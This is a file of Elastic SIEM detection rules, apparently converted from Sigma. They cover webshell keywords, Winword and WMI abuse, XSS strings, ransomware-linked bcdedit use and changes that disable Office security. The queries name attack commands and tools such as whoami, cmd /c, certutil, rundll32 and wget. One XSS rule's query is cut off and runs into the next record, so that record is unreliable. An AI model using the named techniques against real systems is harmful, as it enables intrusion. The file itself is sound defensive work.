"Network Sniffing", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Cian Heasley"], "license": ""}
{"description": "Detects Windows PowerShell Web Access", "enabled": false, "false_positives": ["Administrative scripts that download files from the Internet", "Administrative scripts that retrieve certain website contents"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "33f1e0f3-85c7-ed53-0bc7-9b86b03b2b42", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows PowerShell User Agent", "query": "user_agent.original:*\\ WindowsPowerShell\\/*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects windows webshells that use GET requests by keyword searches in URL strings", "enabled": false, "false_positives": ["Web sites like wikis with articles on os commands and pages that include the os commands in the URLs", "User searches in search boxes of the respective website"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "ad695685-3820-5b1b-e598-6f9b2cf7388e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Webshell Detection by Keyword", "query": "(*\\=whoami* OR *\\=net%20user* OR *\\=cmd%20\\/c%20* OR *\\=powershell%20* OR *\\=tasklist%20* OR *\\=wmic%20*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Windows Webshells that use GET requests via access logs", "enabled": false, "false_positives": ["Web sites like wikis with articles on os commands and pages that include the os commands in the URLs", "User searches in search boxes of the respective website"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "ca9c50fd-5e35-a642-d1dc-8b77b2f34268", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Webshell Strings", "query": "(http.request.method:\"GET\" AND (*\\=whoami* OR *\\=net%20user* OR *\\=cmd%20\\/c%20* OR *\\=powershell%20* OR *\\=tasklist%20* OR *\\=wmic%20* OR *\\=ssh%20* OR *\\=python%20* OR *\\=ipconfig* OR *\\=wget%20* OR *\\=curl%20* OR *\\=certutil* OR *\\=copy%20%5C%5C*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects Winword process loading custmom dlls via the '/l' switch.\nWinword can be abused as a LOLBIN to download arbitary file or load arbitary DLLs.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cb2effdb-45b9-3936-c18b-3066c462558c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Winword LOLBIN Usage", "query": "((process.executable.text:*\\\\WINWORD.exe OR winlog.event_data.OriginalFileName:\"WinWord.exe\") AND process.command_line.text:(*\\/l\\ * OR *.dll* OR *http\\:\\/\\/* OR *https\\:\\/\\/*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali", "Victor Sergeev", "oscd.community"], "license": ""}
{"description": "Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "765938f4-0e20-f280-b445-236ffe8679bf", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Exploit for CVE-2017-8759", "query": "(process.parent.executable:*\\\\WINWORD.EXE AND process.executable:*\\\\csc.exe)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1203", "T1204", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262", "enabled": false, "false_positives": ["Several false positives identified, check for suspicious file names or locations (e.g. Temp folders)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e6cb4ece-fdde-b815-bf33-05d9628ef4b9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Exploit for CVE-2017-0261", "query": "(process.parent.executable:*\\\\WINWORD.EXE AND process.executable:*\\\\FLTLDR.exe*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1203", "T1204", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "32b1066e-8d6a-3ff4-d1d6-f065f0da6599", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Exploit for CVE-2015-1641", "query": "(process.parent.executable:*\\\\WINWORD.EXE AND process.executable:*\\\\MicroScMgmt.exe)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Winword.exe loading of custmom dll via /l cmd switch", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c1f9f623-dd68-43c8-761e-935b3f555177", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Winword.exe Loads Suspicious DLL", "query": "(process.executable:*\\\\winword.exe AND process.command_line:*\\/l*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "oscd.community"], "license": ""}
{"description": "Detects WMI command line event consumers", "enabled": false, "false_positives": ["Unknown (data set is too small; further testing needed)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b55a2b59-2841-a1f6-3cd1-a720ed8c6710", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WMI Persistence - Command Line Event Consumer", "query": "(process.executable:\"C\\:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\" AND file.path:*\\\\wbemcons.dll)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects WMI executing rundll32", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "51b7ea88-b13f-ac76-b951-a9911d42b72e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious WMI Execution Using Rundll32", "query": "(process.command_line:*process\\ call\\ create* AND process.command_line:*rundll32*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects WMI executing suspicious commands", "enabled": false, "false_positives": ["If using Splunk, we recommend | stats count by Computer,CommandLine following for easy hunting by Computer/CommandLine"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "410b576e-1455-4f40-5d31-12cde62e47c4", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious WMI Execution", "query": "(((process.executable:*\\\\wmic.exe OR winlog.event_data.OriginalFileName:\"wmic.exe\") AND (process.command_line:*process* AND process.command_line:*call* AND process.command_line:*create\\ *)) OR ((process.executable:*\\\\wmic.exe OR winlog.event_data.OriginalFileName:\"wmic.exe\") AND process.command_line:*\\ path\\ * AND process.command_line:(*AntiVirus* OR *Firewall*) AND (process.command_line:*Product* AND process.command_line:*\\ get\\ *)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Michael Haag", "Florian Roth", "juju4", "oscd.community"], "license": ""}
{"description": "Detects WMI script event consumers", "enabled": false, "false_positives": ["Legitimate event consumers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "91793f46-f506-c28e-feac-ad2735a23b02", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WMI Persistence - Script Event Consumer", "query": "(process.executable:\"C\\:\\\\WINDOWS\\\\system32\\\\wbem\\\\scrcons.exe\" AND process.parent.executable:\"C\\:\\\\Windows\\\\System32\\\\svchost.exe\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects WMI spawning a PowerShell process", "enabled": false, "false_positives": ["AppvClient", "CCM"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "93798972-d4a1-489c-5177-b63b572cd56e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WMI Spawning Windows PowerShell", "query": "(((process.parent.executable:*\\\\wmiprvse.exe AND (process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) OR winlog.event_data.OriginalFileName:(\"PowerShell.EXE\" OR \"pwsh.dll\"))) AND (NOT (process.command_line:\"null\"))) AND (NOT (NOT _exists_:process.command_line)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1047", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis / @Karneades"], "license": ""}
{"description": "Detects WMI SquiblyTwo Attack with possible renamed WMI by looking for imphash", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9da3c5ce-241f-2315-ce36-f08540abd04b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "SquiblyTwo", "query": "((process.executable:*\\\\wmic.exe AND process.command_line:*wmic* AND process.command_line:*format* AND process.command_line:*http*) OR ((winlog.event_data.Imphash:(\"1B1A3F43BF37B5BFE60751F2EE2F326E\" OR \"37777A96245A3C74EB217308F3546F4C\" OR \"9D87C9D67CE724033C0B40CC4CA1B206\") OR winlog.event_data.Hashes:(*IMPHASH\\=1B1A3F43BF37B5BFE60751F2EE2F326E* OR *IMPHASH\\=37777A96245A3C74EB217308F3546F4C* OR *IMPHASH\\=9D87C9D67CE724033C0B40CC4CA1B206*)) AND (process.command_line:*format\\:* AND process.command_line:*http*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1047", "T1059", "T1059", "T1220"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1220", "name": "XSL Script Processing", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis / Florian Roth"], "license": ""}
{"description": "Detects WMIC executing \"process call create\" with suspicious calls to processes such as \"rundll32\", \"regsrv32\"...etc", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ef3cd903-1e15-5e29-13ae-b617e87c6e71", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious WMIC Execution - ProcessCallCreate", "query": "(process.command_line.text:*process\\ * AND process.command_line.text:*call\\ * AND process.command_line.text:*create\\ * AND process.command_line.text:(*rundll32* OR *bitsadmin* OR *regsvr32* OR *cmd.exe\\ \\/c\\ * OR *cmd.exe\\ \\/k\\ * OR *powershell* OR *pwsh* OR *certutil* OR *cscript* OR *wscript* OR *mshta* OR *\\\\Users\\\\Public\\\\* OR *\\\\Windows\\\\Temp\\\\* OR *\\\\AppData\\\\Local\\\\* OR *%temp%* OR *%ProgramData%* OR *%appdata%* OR *%comspec%* OR *%localappdata%*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects WMIC executing suspicious or recon commands", "enabled": false, "false_positives": ["If using Splunk, we recommend | stats count by Computer,CommandLine following for easy hunting by Computer/CommandLine"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "772a49a3-cdf8-d1f7-a7cf-c32c1cccaf65", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious WMIC Execution", "query": "(((process.executable.text:*\\\\wmic.exe OR winlog.event_data.OriginalFileName:\"wmic.exe\") AND (process.command_line.text:*process* AND process.command_line.text:*call* AND process.command_line.text:*create\\ *)) OR ((process.executable.text:*\\\\wmic.exe OR winlog.event_data.OriginalFileName:\"wmic.exe\") AND (process.command_line.text:*\\ path\\ * AND process.command_line.text:(*AntiVirus* OR *Firewall*) AND process.command_line.text:*Product* AND process.command_line.text:*\\ get\\ * AND process.command_line.text:*wmic\\ csproduct\\ get\\ name*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Michael Haag", "Florian Roth", "juju4", "oscd.community"], "license": ""}
{"description": "Detects WMIC executions in which a event consumer gets created in order to establish persistence", "enabled": false, "false_positives": ["Legitimate software creating script event consumers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "169a777f-59da-edc7-36e2-c1fc8e24e746", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious WMIC ActiveScriptEventConsumer Creation", "query": "(process.command_line.text:*ActiveScriptEventConsumer* AND process.command_line.text:*\\ CREATE\\ *)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects wmiprvse spawning processes", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a182f9ad-91aa-b852-a799-edc5a2eae1ff", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Wmiprvse Spawning Process", "query": "((process.parent.executable:*\\\\WmiPrvSe.exe AND (NOT (LogonId:(\"0x3e7\" OR \"null\") OR user.name:(NT\\ AUTHORITY\\\\SYSTEM* OR AUTORITE\\ NT\\\\Sys*) OR process.executable:(*\\\\WmiPrvSE.exe OR *\\\\WerFault.exe)))) AND (NOT (NOT _exists_:LogonId)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects WRITE_DAC access to a domain object", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6c622080-1edb-aa84-c86f-a00b4ddf1386", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "AD Object WriteDAC Access", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4662\" AND winlog.event_data.ObjectServer:\"DS\" AND winlog.event_data.AccessMask:\"0x40000\" AND winlog.event_data.ObjectType:(\"19195a5b\\-6da0\\-11d0\\-afd3\\-00c04fd930c9\" OR \"domainDNS\"))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1222"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1222", "name": "File and Directory Permissions Modification", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "61e66df5-7e63-56ec-4f6b-b765d4b073af", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "NTFS Alternate Data Stream", "query": "(powershell.file.script_block_text:(*set\\-content* OR *add\\-content*) AND powershell.file.script_block_text:*\\-stream*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1059", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Sami Ruohonen"], "license": ""}
{"description": "Detects wscript/cscript executions of scripts located in user directories", "enabled": false, "false_positives": ["Winzip", "Other self-extractors"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "75d731c0-2565-8f6f-1e13-840027922d6d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WScript or CScript Dropper", "query": "((process.executable:(*\\\\wscript.exe OR *\\\\cscript.exe) AND process.command_line:(*C\\:\\\\Users\\\\* OR *C\\:\\\\ProgramData\\\\*) AND process.command_line:(*.jse* OR *.vbe* OR *.js* OR *.vba* OR *.vbs*)) AND (NOT (process.parent.executable:*\\\\winzip*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Margaritis Dimitrios (idea)", "Florian Roth (rule)", "oscd.community"], "license": ""}
{"description": "Detects XSS attempts injected via GET requests in access logs", "enabled": false, "false_positives": ["JavaScripts,CSS Files and PNG files", "User searches in search boxes of the respective website", "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "477acbda-c324-9cf8-e614-ff064e68780a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Cross Site Scripting Strings", "query": "((http.request.method:\"GET\" AND (*\\=(script)* OR *\\=%3Cscript%3E* OR *\\=%253Cscript%253E* OR *{"description": "Detects XSS that use GET requests by keyword searches in URL strings", "enabled": false, "false_positives": ["Java scripts,CSS Files and PNG files", "User searches in search boxes of the respective website"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "b0007670-dce5-94c3-e2e2-0fbd308b0bff", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Detect XSS Attempts By Keywords", "query": "(*\\=cookie* OR *\\=script* OR *\\=onload* OR *\\=onmouseover*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Saw Win Naung"], "license": ""}
{"description": "Detects, possibly, malicious unauthorized usage of bcdedit.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b941dd9b-0018-7dac-2d44-a7cb638ea6fd", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Possible Ransomware or Unauthorized MBR Modifications", "query": "(process.executable.text:*\\\\bcdedit.exe AND process.command_line.text:(*delete* OR *deletevalue* OR *import* OR *safeboot* OR *network*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070", "T1542"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1542", "name": "Pre-OS Boot", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}, {"id": "T1542", "name": "Pre-OS Boot", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["@neu5ron"], "license": ""}
{"description": "Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a50c96c2-209b-2381-76c9-702defe4f001", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy", "query": "powershell.file.script_block_text:*Get\\-AdDefaultDomainPasswordPolicy*", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1201"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1201", "name": "Password Policy Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments.\nIf this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted.\nThis can be a misconfigured application or potentially something malicious.\n", "enabled": false, "false_positives": ["Applications that are input constrained will need to use device code flow and are valid authentications."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6cbfdd07-243d-c982-7427-2fe87ccb7470", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Application Using Device Code Authentication Flow", "query": "properties.message:\"Device\\ Code\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Initial Access", "Privilege Escalation", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Bailey Bercik '@baileybercik'"], "license": ""}
{"description": "Disable Microsoft Office Security Features by registry", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d7264be7-af85-8726-ef3a-aaa6f0b0b80c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Disable Microsoft Office Security Features", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\* AND winlog.event_data.TargetObject:(*VBAWarnings OR *DisableInternetFilesInPV OR *DisableUnsafeLocationsInPV OR *DisableAttachementsInPV) AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
